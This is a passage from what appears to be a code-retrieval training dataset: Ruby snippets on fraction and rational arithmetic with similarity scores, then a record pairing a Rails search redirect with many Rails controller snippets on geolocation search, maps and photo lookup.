add...\n\t\tself.numerator = self.numerator + temp.numerator\n\n\t\treturn self\n\tend", "def use_rationals\n r1 = MyRational.new(3, 4)\n r2 = r1 + r1 + MyRational.new(-5, 2)\n puts r2.to_s\n (r2.add! r1).add! (MyRational.new(1, -4))\n puts r2.to_s\n puts r2.to_s2\n puts r2.to_s3\nend", "def modulo_of(fraction); end", "def /(divisor)\n return map {|currency, money| money / divisor}\n end", "def productify_easy(arr)\n product = arr.inject(:*)\n new_arr = []\n arr.each do |num|\n new_arr << product / num\n end\n new_arr\nend", "def aliquot_sum(num)\n return 0 if num <= 1\n factors = []\n (1...num).each do |n|\n factors << n if num % n == 0\n end\n factors.reduce(:+)\nend", "def factors(number)\n dividend = number\n divisors = [] # make an empty array called divisors\n begin\n # if the number / dividend is a whole number add it to the array\n divisors << number / dividend if number % dividend == 0\n # minus 1 from the dividend\n dividend -= 1\n # end when dividend is 0\n end until dividend == 0\n divisors\nend", "def + r\n ans = MyRational.new(@num, @den)\n ans.add! r\n ans\n end", "def to_foorth_r\r\n self.rationalize\r\n end", "def continued_fraction(n)\n a0 = Math.sqrt(n).floor\n cf = [a0]\n\n m = 0\n d = 1\n loop do\n m = d * cf.last - m\n d = (n - m**2)/d\n a = (a0 + m)/d\n cf << a\n\n break if a == 2 * a0\n end\n\n cf\nend", "def average(numbers)\n numbers.inject(&:+) / numbers.size.to_f # denominator here doesn't need to also be a float. appears that ruby will do a float operation as long as one of the numbers is a float\nend", "def to_a\n return fraction.to_a\n end", "def divide_fraction_by_term(fraction, term)\n\tterm_fraction = Fraction.new(term.line, term.col, denominator: term)\n\treturn multiply_fraction_and_fraction(fraction, term_fraction)\nend", "def mediana(array)\n if array.length % 2 == 1\n med = array[array.length.to_f / 2]\n else\n med = (array[array.length / 2].to_f + array[array.length / 2 - 1]) / 2\n end\n med\nend", "def namerisuminarray arr \n len = arr.length\n sum = 0\n sum = sum.to_i\n broqch = 0\n \n while broqch <= len - 1\n sum = sum + arr[broqch].to_i\n broqch = broqch + 1\n end\n \n return sum \nend", "def apply_solved_equivalent_fractions_to_fraction\n int = self.solve_equivalent_fractions\n answer = []\n @reduced_row_echelon_form.each do |row|\n answer << row.last * int\n end\n answer << int\n count = 0\n @balanced = Hash.new\n @left_system_of_equations.each do |x,v|\n answer[count]\n @left_system_of_equations[x] = answer[count].to_i.abs unless answer[count].nil?\n count += 1\n end\n @right_system_of_equations.each do |x,v|\n answer[count]\n @right_system_of_equations[x] = answer[count].to_i.abs unless answer[count].nil?\n count += 1\n end\n answer\n @balanced = {left:@left_system_of_equations,right:@right_system_of_equations}\n self.balanced_string.gsub(/([\\D^])1([\\D$])/, '\\1\\2') # or (/1(?!\\d)/,\"\")\n end", "def divide(a,b,num_of_sig_figs=10)\n #output will be our answer\n output = 0\n #we loop until our dividend is smaller than our divisor\n while a >= b\n # we subtract the divisor from the dividend and the difference is our new dividend\n a -= b\n #we increase the output by 1\n output += 1\n end\n if a == 0\n #if there is no remainder we return the output\n output\n else\n #if there is a remainder we need to change the output to a string\n output = output.to_s\n #sig_figs keeps track of the significant figures we've made\n sig_figs = output.length\n #remainder_args takes an array of three arguments - the dividend, divisor and the final answer string which ends with a . as we will be adding decimals\n remainder_args = [a,b,output + '.']\n #the default number of significant figures is 10. The loop runs until we hit the number of significant figures or if there is no remainder left\n while sig_figs < num_of_sig_figs && remainder_args[0] != 0\n #we have to create a new function which we will call recursively to add any new digits after the decimal point. We must call it on an array because otherwise we cannot change the variables due to Ruby's scope\n def remainder_divide(arr)\n #we multiply the dividend by 10 to make it a non decimal number\n arr[0] = multiply(arr[0], 10)\n #this loop is the same as our original division\n output = 0\n while arr[0] >= arr[1]\n arr[0] -= arr[1]\n output += 1\n end\n #here we change the output to a string and attach it to our original answer.\n output = output.to_s\n arr[2] += output\n #We change the remainder_args to our new array\n remainder_args = [arr[0],arr[1],arr[2]]\n end\n #now that we've defined our function, we will call it on our array of arguments until we hit the desired amount of significant figures or we have the answer\n remainder_divide(remainder_args)\n #we add one to our significant figures so that we don't loop infinitely\n sig_figs += 1\n end\n #we return our answer converted back to a number\n remainder_args[2].to_f\n end\nend", "def divide_term_by_fraction(term, fraction)\n\tterm_fraction = Fraction.new(term.line, term.col, numerator: term)\n\treturn multiply_fraction_and_fraction(invert_fraction(fraction), term_fraction)\nend", "def mixed_number(n, d)\n if n < d\n simp_array = simplify(n, d)\n num = simp_array[0]\n den = simp_array[1]\n puts \"#{n}/#{d} or #{num}/#{den} can't be converted to a mixed number (it is less than 1).\"\n else\n whole = n/d\n frac = n%d\n if frac != 0\n simp_array = simplify(frac, d)\n numerator = simp_array[0]\n denominator = simp_array[1]\n puts \"#{whole} #{numerator}/#{denominator}\"\n else\n puts \"#{whole}\"\n end\n end\nend", "def mixed_fraction(s)\n numerator, denominator = s.split('/').map(&:to_i)\n\n raise ZeroDivisionError if denominator.to_i.zero?\n \n if evenly_divides?(numerator, denominator)\n (numerator / denominator).to_s\n else\n simplify_fraction(numerator, denominator)\n end\nend", "def rationalize(eps = nil)\n eps ? Q.new(to_r.rationalize(eps)) : self\n end", "def to_r\n Rational(@val, @div)\n end", "def aliquot_sum(num)\n proper_factors(num).sum\nend" ]
[ "0.74681574", "0.6929715", "0.68888867", "0.6696607", "0.66484076", "0.6642132", "0.66127056", "0.6460344", "0.6410816", "0.6185238", "0.61802244", "0.61361647", "0.61204296", "0.61168563", "0.60516393", "0.60494816", "0.6002087", "0.59625614", "0.58969295", "0.58181685", "0.5809024", "0.5800442", "0.5799374", "0.57987714", "0.5788644", "0.5772963", "0.5765095", "0.57368755", "0.5704964", "0.56946224", "0.56908333", "0.5615234", "0.5613368", "0.5604947", "0.5600837", "0.55929714", "0.55925393", "0.5565425", "0.5539787", "0.55329335", "0.5531243", "0.5521748", "0.55200535", "0.5496921", "0.5490213", "0.547739", "0.5468988", "0.5468488", "0.5460434", "0.5453585", "0.545062", "0.5438092", "0.5434089", "0.54129803", "0.5408357", "0.5405321", "0.5404215", "0.5392915", "0.53895056", "0.5384474", "0.5377957", "0.53645706", "0.53568065", "0.53550726", "0.5347459", "0.5342984", "0.53387135", "0.5333251", "0.5329669", "0.5328294", "0.53221285", "0.53186333", "0.5318138", "0.53134835", "0.5311331", "0.5307954", "0.5307954", "0.53003836", "0.5295979", "0.5295203", "0.5292526", "0.52914226", "0.5290552", "0.52903", "0.5288211", "0.52879983", "0.52803373", "0.5277422", "0.5273502", "0.526164", "0.52496433", "0.52476907", "0.5247525", "0.52463466", "0.524387", "0.52277404", "0.5224961", "0.5221588", "0.52125585", "0.52088785" ]
0.7453417
1
def search_bar redirect_to :controller => "photos", :action => "search_bar", :latitude => params[:latitude], :longitude => params[:longitude] end
def get_and_store_username @user = User.find_by_id(session[:current_user_id]) if !@user redirect_to logins_path() end end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def search\n @coordinates = [params[:lat].to_f, params[:lng].to_f]\n session[:search] = @coordinates\n redirect_to places_path\n end", "def post\n\t redirect_to search_path( query: params[:query] )\n\tend", "def search\n redirect_to gallery_path(search_params)\n end", "def adv_search\r\n\r\n redirect_to :action => :search\r\n end", "def search\n location = Location.friendly.find(params[:location_selector])\n session[:categoryFilter] = params[:categoryFilter]\n\n redirect_to(location_listings_path(location))\n end", "def redirect_to_results\n redirect_to results_path(params[:query])\n end", "def index\n # 6.215725, -75.596976 LEJOS \n # 6.209475, -75.571580 CERCA\n location = [params[:latitude], params[:longitude]]\n\n # if request && request.location\n # user_location = request.location\n # location = [user_location.latitude, user_location.longitude]\n # else\n # flash[:notice] = \"No se pudo determinar su ubicación actual...\"\n # end\n # flash\n # @parking_garages = ParkingGarage.all\n @parking_garages = ParkingGarage.near(location, 1, :units => :km)\n # @hash = Gmaps4rails.build_markers(@users) do |user, marker|\n # marker.lat user.latitude\n # marker.lng user.longitude\n # end\n \n # if params[:search].present?\n # @locations = Location.near(params[:search], 50, :order => :distance)\n # else\n # @locations = Location.all\n # end\n end", "def search\n\n @search = Location.near(params[:search], 15, :order => :distance)\n \n @query = params[:search]\n @locations = @search\n \n @filtros = ajustaFiltros\n @precios = precios(@locations)\n @campos = self.campos\n @places = places(@locations,@filtros)\n @facets = facetas(@locations, @filtros)\n @json = @locations.to_gmaps4rails\n end", "def create\n redirect_to ctos_path :myLocation=>params[:myLocation],:radius=>params[:radius], :page=>params[:page]\n end", "def from_search\n name = params[:id]\n lat = params[:lat]\n lon = params[:lon]\n @locations = Location.locations_from_candy_ids(Candy.ids_by_name(name))\n if(lat and lon)\n @locations = Location.nearest_five(lat.to_f, lon.to_f, @locations)\n end\n\n respond_to do |format|\n format.html\n format.json { render :json => @locations }\n end\n end", "def search\n respond_to do |format| \n format.html {redirect_to vehicles_path}\n end\n end", "def location_bar\n\tresult = Geocoder.search(\"#{params['latitude']},#{params['longitude']}\")\n\taddress = result.first.data[\"formatted_address\"]\n\trender html: address\nend", "def bounds\n coords = Geocoder.coordinates(params[:location]);\n @lat = session[:lat];\n @lng = session[:lng];\nend", "def index\n \tresolve_type\n\t\tif @search_type == :nearby and !GeoLocation.known_position? and (@params[\"lat\"].nil? and @params[\"long\"].nil?)\n\t\t\tnavbar :title => \"Nearby\"\n\t\t\tGeoLocation.set_notification( url_for(:action => :nearby_geo_callback1), default_query_hash_str, GeoTimeout)\n\t\t\tredirect_for_type :action => :wait, :query => { :message => \"Finding your location...\" }\n\t\telsif @search_type == :nearby and GeoLocation.known_position?\n\t\t\tlat = GeoLocation.latitude\n\t\t\tlong = GeoLocation.longitude\n\t\t\tredirect_for_type(:action => :geocode_other_location, :query => {:lat => lat, :long => long})\n\t\telsif @search_type == :location and @params[\"lat\"] and @params[\"long\"] and @params[\"other_location\"]\n\t\t\tredirect_for_type(:action => :listing, :query => @params)\n\t\telsif @search_type == :location\n\t\t\tredirect_for_type(:action => :input_other_location) \n\t\telsif @search_type == :recent and @params[\"search_id\"]\n\t\t\tredirect_for_type(:action => :listing, :query => { :search_id => @params[\"search_id\"] })\n\t\telsif @search_type == :recent \n\t\t\tredirect_for_type(:action => :recent)\n\t\telse\n\t\t\tredirect_for_type(:action => :error) \n\t\tend\n\t\t@message = \"Processing...\"\n\t\trender :wait # Show the waitpage, when complete we will be redirected to listing\n end", "def index\n lat = params[:lat]\n long = params[:long]\n is_ok = params[:is_ok]\n id_panneaux = params[:id_panneaux] \n end", "def search_params\n params.permit(:latitude, :longitude, :range, :tags)\n end", "def search_map\n story = Story.find_by_id(params[:id],:select => [\"continent,country,state,location,permalink\"])\n redirect_to storypermalink_url(:continent => check_content(story.continent), :country =>check_content(story.country) ,:state =>check_content(story.state) , :location =>check_content(story.location) ,:id => check_content(story.permalink) )\n end", "def index\nif params[:search].present?\n @healthcares = Healthcare.near(params[:search], 50) \n \n else\n @healthcares = Healthcare.all\n end\n @hash = Gmaps4rails.build_markers(@healthcares) do |healthcare, marker|\n marker.lat healthcare.latitude\n marker.lng healthcare.longitude\n marker.infowindow healthcare.site\n end end", "def search_redirect\n # URI::encode handles spaces and other characters in search field\n redirect_to \"/blog/search/#{URI::encode params[:query]}\"\n end", "def index\n\n @currentLocation=params[:myLocation].to_s;\n @currentRadius=params[:radius].to_s;\n\n if params[:myLocation].to_s.empty? || params[:radius].to_s.empty?\n @ctos = Cto.all.page params[:page]\n\n #Set current data for search params\n @currentLocation='Ivano-Frankivsk';\n @currentRadius=2;\n\n else\n @ctos=Cto.near(params[:myLocation].to_s,params[:radius].to_s,:order => \"distance\",:units => :km).page params[:page];\n\n #Store search values as default\n\n\n end\n end", "def index\n if params[:search].present?\n @locations = Location.near(params[:search], 50)#, :order => :distance)\n else\n @locations = Location.all\n end\n end", "def search_album\n term = params[:search_album][:term].strip # remove trailing spaces\n unless term.empty?\n @term = term\n #logger.debug \"searching for: \" + @term\n @albums = Album.search @term\n render \"/searches/album_results\" \n else\n redirect_to root_url, :notice => \"You must enter a search term.\"\n end\n end", "def show\n values_container = params['search'] ? params['search'] : params\n @find, @near, @coordinates, @page = values_container.values_at('find', 'near', 'coordinates', 'page')\n\n if @near.present?\n if @near.include?('Current Location')\n values_container['near'] = @near = nil # Monkey patch\n elsif ! @near.match(/chicago/i)\n values_container['near'] = (@near.to_s << ' Chicago')\n end\n end\n\n @results = LocationFilter.new(@near).values\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render :json => @results }\n end\n end", "def mapsearch\n @search = Geocoder.coordinates(params[:place])\n #respond_to do |format|\n # format.html { render :layout => false }\n # format.js { render :layout => false }\n #end\n render json: @search\n #return @search\nend", "def index\n @customers = Customer.like_customer(params[:latitude],params[:longitude])\n @vendors = Vendor.like_vendor(params[:latitude],params[:longitude])\n @gps = GpsLocation.find(params[:gps_id].to_i)\n end", "def search\n\n if params[:search].blank?\n flash.now[:notice]= \"Please start to search.\"\n else\n search = params[:search]\n get_flickr_images(search)\n @images = @flickr_images.paginate(page: params[:page], per_page: 50)\n flash.now[:annouce] = \"Click a thumbnail image to view the larger size image.\"\n end\n render :home\n\n end", "def display_searched\n\t\tlocation = Location.find_by(id: params[:id])\n\t\t@location_id = location.id\n\t\t@trip_id = location.trip_id\n\t\t# shows location that was searched\n\t\t@hash = Gmaps4rails.build_markers(location) do |location, marker|\n \t\t\tmarker.lat location.to_coordinates[0]\n \t\t\tmarker.lng location.to_coordinates[1]\n \t\t\tmarker.infowindow location.description\n \t\t\tmarker.picture({\n \t\"url\" => \"http://i.imgur.com/1OCtNP3.png\",\n \t\"width\" => 36,\n \t\"height\" => 36})\n\t\tend\n\tend", "def search_params\n params.require(:search).permit(:keywords, :latitude, :longitude, :radius, :results_summary)\n end", "def search_redirect\n return if SEARCH_CONTROLLERS.include?(params[:controller]&.to_sym)\n query = request_parameters\n return if query.slice(:q, :title, :creator, :identifier).blank?\n redirect_to query.merge!(controller: DEFAULT_SEARCH_CONTROLLER)\n end", "def get_by_location\n \tlat = params[:lat]\n \tlng = params[:lng]\n \tnext_start = params[:next_start]\n \tshops = Hotpepper.search_location(lat, lng, next_start);\n \tset_to_results(shops);\n end", "def search\n # if the user has selected to clear the search, or there is no search params, start from the top\n Rails.logger.info(\"Pic Search: #{params.inspect}\")\n if params[:clear] || params[:q] == \"\"\n redirect_to pictures_path\n else \n @picturesandmeta = Pictureandmeta.search(params[:q])\n #@page = 1\n render :index\n end\n end", "def search_results\n @individual = Individual.by_uid( params[:'names-search-uid'] )\n if @individual\n redirect_to display_path( @individual.uid )\n else\n redirect_to :search\n end\n end", "def search_track\n term = params[:search_track][:term].strip # remove trailing spaces\n unless term.empty?\n @term = term\n #logger.debug \"searching for: \" + @term\n @tracks = Track.search @term \n render \"/searches/track_results\"\n else\n redirect_to root_url, :notice => \"You must enter a search term.\"\n end\n end", "def geocode\n to_geocode = params[:id]\n Address.find(to_geocode).geocode\n redirect_to :action => :index\n end", "def search\n if request.post?\n story = Story.find_by_permalink(params[:search])\n if story\n redirect_to storypermalink_url(:continent => check_content(story.continent), :country =>check_content(story.country) ,:state =>check_content(story.state) , :location =>check_content(story.location) ,:id => check_content(story.permalink) )\n else\n redirect_to :action => 'index'and return \n end \n else\n flash[:notice] = \"Please select a story\" \n redirect_to :action => 'index'and return \n end\n rescue\n flash[:notice] = 'Some thing went wrong!!'\n render :template => 'shared/error'and return \n end", "def search_params\n params.require(:search).permit(:address, :latitude, :longitude)\n end", "def search\n if params[:tag]\n @pictures = Picture.tagged_with(params[:tag])\n elsif params[:search] \n @pictures = Picture.tagged_with(params[:search])\n else \n redirect_to albums_path and return\n end\n render \"index\"\n end", "def instagram_users_redirect\n if params[:user].present?\n redirect_to search_results_path(params[:source], params[:user])\n else\n flash[:errors] = \"Please enter a username to search.\"\n redirect_to search_path\n end\n end", "def search_results\n @results = Landmark.search(params[:search])\n if @results.length == 0\n flash[:alert] = 'No match found! Please try again.'\n redirect_to '/'\n end\n end", "def index\n @item = Item.new\n #@items = Item.all\n #redirect_to :controller => 'searches', :action => 'new', :searching_for => 'item'\n end", "def results\n\t\t#get the location from what the user enters in the form\n\t\t@location = params[:location]\n\n\t\t#set the location to Latitude/Longitude using Geocoder\n\t\t@lat,@long = Geocoder.coordinates(@location)\n\n\tend", "def advanced_search # :nologin: :norobots:\n begin\n query = find_query(:Location)\n show_selected_locations(query, :link_all_sorts => true)\n rescue => err\n flash_error(err.to_s) if !err.blank?\n redirect_to(:controller => 'observer', :action => 'advanced_search_form')\n end\n end", "def index\n if params[:photo]\n @search = Photo.search :title_like => params[:photo][:title]\n params.clear\n else\n @search = Photo.search(params[:search])\n end\n\n @photos = @search.paginate(:per_page => 20, :page => params[:page])\n\n redirect_to admin_photo_path(@photos.first, params) and return if (@photos.size.eql?(1))\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @photos }\n end\n end", "def show\n @saved_search = SavedSearch.find(params[:id])\n @saved_search.car_model.gsub!(' ','_')\n query_str = \"year_to=#{@saved_search.year_to}&year_fr=#{@saved_search.year_fr}&modelstr=#{@saved_search.car_model}&price_fr=#{@saved_search.price_fr}&price_to=#{@saved_search.price_to}&keywords=#{@saved_search.keywords}\"\n\n redirect_to \"/ferraris?\"+query_str\n end", "def near_coordinates\n latitude = params[:latitude] || 37.7749295\n longitude = params[:longitude] || -122.4194155\n distance = params[:distance] || 10\n limit = 1000 || params[:limit]\n offset = 0 || params[:offset]\n approved = true || params[:approved]\n @trips = Trip.where(:approved => approved).near([latitude,longitude],distance).limit(limit).offset(offset)\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @trips }\n end\n end", "def search\n @travel = Travel.new(params)\n \n respond_to do |format|\n if @travel.geoname\n format.html { redirect_to travel_path(@travel.geoname.name) }\n format.xml { render :xml => @travel, :status => :created, :location => @travel }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @travel.errors, :status => :unprocessable_entity }\n end\n end\n end", "def save_location\n session[:location] ||= params[:search_location]\n end", "def mapSearch\n @jardins = Jardin.where(\"(latitud between ? and ?) and (longitud between ? and ?)\",params[:SWLat].to_f, params[:NELat].to_f, params[:SWLng].to_f, params[:NELng].to_f)\n #@post = params\n render :json => @jardins.to_json(:only => [ :id , :nombre, :direccion, :telefono, :latitud, :longitud])\n #respond_to do |format|\n # format.html # mapSearch.html.erb\n # format.xml { render :xml => @jardins }\n #end\n end", "def go_to_browse\n redirect_to \"/browse/search\"\n end", "def viewphoto\n photo = Photo.find_by_id params[:id]\n redirect_to photo_view_path(photo.id, photo.safe_title), :status => 301\n end", "def location\n render :action=>\"location\"\n end", "def nearby\n\n params[:distance] ||= 20\n\n # Use the current user's IP address to retrieve the user coordinates\n @user_coordinates = Geocoder.coordinates(request.remote_ip)\n\n # Presume geolocation will fail\n @geocoder_success = false\n\n # If geolocation fails, use a default of downtown Columbus\n if @user_coordinates == [0.0, 0.0]\n\n # Default coordinates when can't geolocate the current user\n @user_coordinates = [39.961122, -83.000431]\n\n else\n\n @geocoder_success = true\n\n end\n\n @locations = Location.near(@user_coordinates, params[:distance]) #.paginate(:page => params[:page], :per_page => 10)\n\n end", "def opportunities\n redirect_to '/pages/searches', :status => :moved_permanently\n end", "def index\n @locations = Location.search(params[:search])\n end", "def search\n @analytics = Analytic.where(params.permit([:ip, :user_agent])).order(@order).paginate(@page)\n\n respond_to do |format|\n format.html # search.html.erb\n format.json { render json: @analytics, callback: params[:callback] }\n format.xml { render xml: @analytics }\n end\n end", "def search\n dogpark = Dogpark.near(\n params[:postcode] + ', NSW Australia',\n params[:radius] || 10,\n units: :km\n )\n\n #if not radius not specified, params radius returns nil\n #||Because we have 5, if the radius is empty, it will default to the 5 because of the logic of the || \"or\" expression. \"or\" will always evaluate to the truthy thing.\n render json: dogpark.to_json\n end", "def comments_search\n if request.post?\n story = Story.find_by_permalink(params[:search])\n if story\n redirect_to story_comment_url(:id => story.permalink)\n else\n redirect_to :action => 'index' \n end \n else\n flash[:notice] = \"Please select a story\" \n redirect_to :action => 'index' \n end \nend", "def get_nearby_food_pictures\n if params[:lat] and params[:lng]\n @restaurants = Restaurant.all\n # @buildings = Building.find( :all, :conditions => [ 'name LIKE ?', '%' + params[:q].downcase + '%'], :limit =&gt; 20)\n \n end\n\n render :json => @restaurants\n end", "def index\n\n @lat_lons = LatLon.where(nil)\n\n if params[:search].present?\n @lat_lons = @lat_lons.search(params[:search])\n\n elsif params[:radius].present?\n\n if params[:current_location].present?\n @coords = [params[:geolat].to_f, params[:geolon].to_f]\n elsif params[:location].present?\n @coords = Geocoder.coordinates(params[:location])\n end\n\n if !(@coords)\n @coords = [0, 0]\n end\n\n @lat_lons = @lat_lons.within(params[:radius], :origin => @coords)\n\n case params[:search_type]\n when \"cheapest\"\n @lat_lons = @lat_lons.order_by_cheapest.by_distance(:origin => @coords)\n when \"closest\"\n @lat_lons = @lat_lons.by_distance(:origin => @coords)\n when \"optimal\"\n @lat_lons = @lat_lons.sort_by{ |l| l.distance_to(@coords)*params[:price].to_f + l.parking_meter.price}\n end\n elsif params[:recents].present? || !session[:user_id].nil?\n recent_names = User.find(session[:user_id]).get_recents\n arr = Array.new\n recent_names.each { |n| arr = arr + @lat_lons.search(n)}\n @lat_lons = arr\n else\n @lat_lons = LatLon.none\n end\n\n @lat_lons = @lat_lons.no_broken if params[:no_broken].present?\n @lat_lons = @lat_lons.no_occupied if params[:no_occupied].present?\n @lat_lons = @lat_lons.no_after_hours if params[:no_after_hours].present?\n\n @hash = Gmaps4rails.build_markers(@lat_lons) do |lat_lon, marker|\n marker.lat lat_lon.lat\n marker.lng lat_lon.lon\n meter = lat_lon.parking_meter\n\n color = \"18bc9c\"\n if meter.is_broken\n color = \"e74c3c\"\n elsif meter.is_occupied\n color = \"3498db\"\n end\n marker.picture({\n :url => \"http://chart.apis.google.com/chart?chst=d_map_pin_letter&chld=|\" + color + \"|000000\", \n :width => 32,\n :height => 32\n })\n marker.json({ :meter_id => meter.id, :meter_name => meter.name })\n end\n\n end", "def geocode\n @location = Location.find(params[:id])\n if @location.lat.blank? or @location.lng.blank?\n res = MultiGeocoder.geocode(@location.street + ', ' + @location.city + ', ' + @location.state + ', ' + @location.country)\n \n if !res.lng.blank? or !res.lat.blank?\n @location.lat = res.lat\n @location.lng = res.lng\n @location.save\n flash[:notice] = 'Geocoding results: ' + res.lat.to_s + ', ' + res.lng.to_s\n \n else\n flash[:notice] = 'Geocoding failed'\n end\n \n end\n \n respond_to do |format|\n format.html { redirect_to(@location) }\n format.xml { head :ok }\n end\n end", "def set_user_location\n return unless (search_params[:lat] && search_params[:long]) ||\n search_params[:zip_code]\n\n user_location_object(search_params[:lat], search_params[:long],\n search_params[:zip_code])\n end", "def location_params\n params[:location]\n end", "def search_params\n params.require(:search).permit(:industry_id, :location, :longitude, :latitude)\n end", "def show_close_songs\n # finds all songs tagged within a .5 mile radius\n radius = params[:rad].to_f / 1000.0\n lat = params[:lat].to_f #lat_lng_list[0].to_f\n lng = params[:lng].to_f #lat_lng_list[1].to_f\n location = [lat, lng]\n @songs = Song.near(location, radius, :units => :km)\n\n respond_to do |format|\n format.html { redirect_to root_path }\n format.json { render :json => @songs }\n format.mobile {render :json => @songs }\n end\n end", "def index\n\n current_location = Image.nearby( 0.2, 121.52847610518472, 25.04476753094792).first\n @hash = Gmaps4rails.build_markers(current_location) do |location, marker|\n marker.lat 25.04476753094792\n marker.lng 121.52847610518472\n end\n\n end", "def whereAmI\n \n lat = params[:latitud]\n long = params[:longitud]\n \n @donde = Geocoder.search(lat + \",\" + long)[0]\n \n render :json => {:direccion => @donde.address }\n \n end", "def locate(latitude,longitude)\n get escape(\"lat=#{latitude}&lon=#{longitude}\")\n end", "def search\nend", "def index\n \n if params[:search].present?\n @outlet2s = Outlet2.near(params[:search], 50, :order => :distance)\n else\n @outlet2s = Outlet2.all\n end\n\n @outlet2s = Outlet2.all\n @hash = Gmaps4rails.build_markers(@outlet2s) do |outlet2, marker|\n marker.lat outlet2.latitude\n marker.lng outlet2.longitude\n end \n\n end", "def index\n # @locations = Location.all\n if params[:search]\n @locations = Location.name_sounds_like(params[\"search\"][\"query\"]).paginate(:page => params[:page], :order => 'population DESC') \n else \n @locations = Location.paginate(:page => params[:page], :order => 'population DESC', :per_page => 12) \n end\n \n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @locations }\n end\n end", "def search\n @places = FoursquarePlace.places_near_coordinates(@coordinates, query: params[:search_terms])\n render json: { data: @places }\n end", "def show_location\n\n end", "def collect_parameters\n @search = params[:search]\n @page = (params[:page]).blank? ? 1 : params[:page]\n @latitude = params[:origin_latitude]\n @longitude = params[:origin_longitude]\n @location_lock = (params[:location_lock]).blank? ? \"true\" : params[:location_lock]\n @proximity = (params[:proximity]).blank? ? 5 : (params[:proximity]).to_i\n @user_id = params[:user_id]\n end", "def activity_near_by\n @activity = Activity.find(params[:id])\n gps = params[:latitude]+','+ params[:longitude]\n @activity.parks.near(gps, 100).size\n respond_to do |format|\n format.json do\n render :json => @activity.parks.near(gps, 100).reverse\n end\n end\n end", "def index\n\t\tif params[:search].present?\n\t\t\t@locations = Location.near(params[:search], 10, :order => distance)\n\t\telse\n\t\t\t@locations = Location.all\n\t\tend\n\tend", "def image_gallery_post\n if params[\"clear\"]\n redirect_to \"/image_gallery\" and return\n else\n @name = params[\"search_field\"].gsub(\" \", \"_\")\n redirect_to \"/image_gallery/#{@name}\" and return\n end\n end", "def map\n @recipient = Recipient.find(params[:recipient_id])\n @destination = [@recipient.address.to_s, @recipient.city.to_s].join(\", \")\n @origin = params[:from_destination]\n \n render :action => 'map'# , :layout => false\nend", "def index\n tags = params[:tags] ? params[:tags].reject(&:blank?) : []\n if tags.any?\n @pics = Pic.tagged_with(tags)\n @pics = @pics.filter_by( filter=params[:filter], published=!current_user.present?).page params[:page]\n else\n @pics = Pic.filter_by( filter=params[:filter], published=!current_user.present?).page params[:page]\n end\n\n respond_to do |format|\n format.html\n format.js {\n @geo_center = Geocoder::Calculations.geographic_center @pics.collect(&:to_coord).compact || Pic.default_coord\n }\n end\n end", "def index\n @result = request.location\n if user_signed_in?\n @location = GeoIP.new('lib/GeoLiteCity.dat').city(current_user.current_sign_in_ip)\n # @location = GeoIP.new('lib/GeoLiteCity.dat').city('110.136.133.185')\n if params[:tag]\n @socials = Social.where('city = ? OR country = ?', @location.city_name, @location.country_name).near([@result.latitude, @result.longitude], 5, :units => :km).tagged_with(params[:tag])\n @photo = @socials.map{ |s| s.photos.where(default: true) }\n else\n @socials = Social.where('city = ? OR country = ?', @location.city_name, @location.country_name).near([@result.latitude, @result.longitude], 5, :units => :km)\n @photo = @socials.map{ |s| s.photos.where(default: true) }\n end\n else\n @socials = Social.all.near([@result.latitude, @result.longitude], 5, :units => :km)\n @photo = @socials.map{ |s| s.photos.where(default: true) }\n end\n end", "def link_to_google_map(content, latitude, longitude)\n link_to(content, \"http://maps.google.co.uk?q=\" + latitude.to_s + \",\" + longitude.to_s)\n end", "def search\r\nend", "def input\n if params[:player] && params[:opponent]\n redirect_to tip_search_path(params[:player], params[:opponent])\n else\n redirect_to \"/\"\n end\n end", "def show\n @eventsbuscar = Event.search(params[:search]).where('start_date > ?' , Date.today.to_time.in_time_zone(\"Central Time (US & Canada)\") ).order(:start_date => 'ASC')\n @location = Location.friendly.find(params[:id])\n latdown = @location.lat.to_f - 0.1\n latup = @location.lat.to_f + 0.1\n lngdown = @location.lng.to_f - 0.1\n lngup = @location.lng.to_f + 0.1\n\n respond_to do |format|\n format.html\n format.js\n end\n end", "def search\n\t\tbegin\n\t\t # Need a variable to avoid duplicate record insertion while applying filters\t\n\t if params[:is_new].to_s.downcase == \"true\"\n\t history = UserSearchHistory.new(params[:location])\n\t history.save!\n\t mongo_user_search = MongoUserSearch.add_search_records(current_user,params[:location]) unless current_user.blank?\n\t end\n\t @records = MongoUserSearch.records_in_miles(current_user,params[:location][:latitude],params[:location][:longitude])\n\t render :json => {:success => true, :message => \"search successful\" ,:results => @records}, :status => 200\n\t rescue Exception => e\n\t \tp e\n\t render :json => {:success => false, :message => \"Error\", :results => @records}, :status => 200\n\t end\n\tend", "def advanced_search\n return if handle_advanced_search_invalid_q_param?\n\n query = find_query(:Location)\n show_selected_locations(query, link_all_sorts: true)\n rescue StandardError => e\n flash_error(e.to_s) if e.present?\n redirect_to(search_advanced_path)\n end", "def index\n return redirect_to place_path(params[:place_id])\n end", "def search\n\n # Starting query for the search to be performed.\n @searchQuery = HotDogStand.all\n\n # Add all of the optional filters the user has specified.\n filterHotDogStandsByFoodPreferences(params)\n filterHotDogStandsByDrinkPreferences(params)\n filterHotDogStandsByCondimentPreferences(params)\n\n # With the resulting stands based on the preferences, filter them down further by distance range.\n hotDogStandsWithFavourablePositions = filterHotDogStandsByDistanceFromReferenceLocation(params)\n\n # Get all of the data that holds the available items for the resulting stands.\n allAvailableItemsForTheStands = gatherAllItemsFromAvailableStands()\n\n\n # Add a distance range return value where the front-end will create a transparent green circle\n # to overlap around the desired area with the user's current location at its center in the\n # Google Maps widget.\n distanceRangeInMeters = 0.00;\n\n if params[\"distanceUnit\"] == \"MI\" and params[\"distanceRange\"] != \"0\"\n distanceRangeInMeters = 1609.34 * params[\"distanceRange\"].to_f\n elsif params[\"distanceUnit\"] == \"KM\" and params[\"distanceRange\"] != \"0\"\n distanceRangeInMeters = 1000 * params[\"distanceRange\"].to_f\n end\n\n # Finally, respond to the AJAX request with a JSON string by putting together the JSON dictionary,\n # then use the gems Ruby on Rails has loaded up to format it into a JSON string.\n respond_to do |format|\n format.json { render json: { referenceLatitude: params[\"latitude\"].to_f, referenceLongitude: params[\"longitude\"].to_f, \\\n distanceRange: distanceRangeInMeters, numberOfResults: hotDogStandsWithFavourablePositions.size, 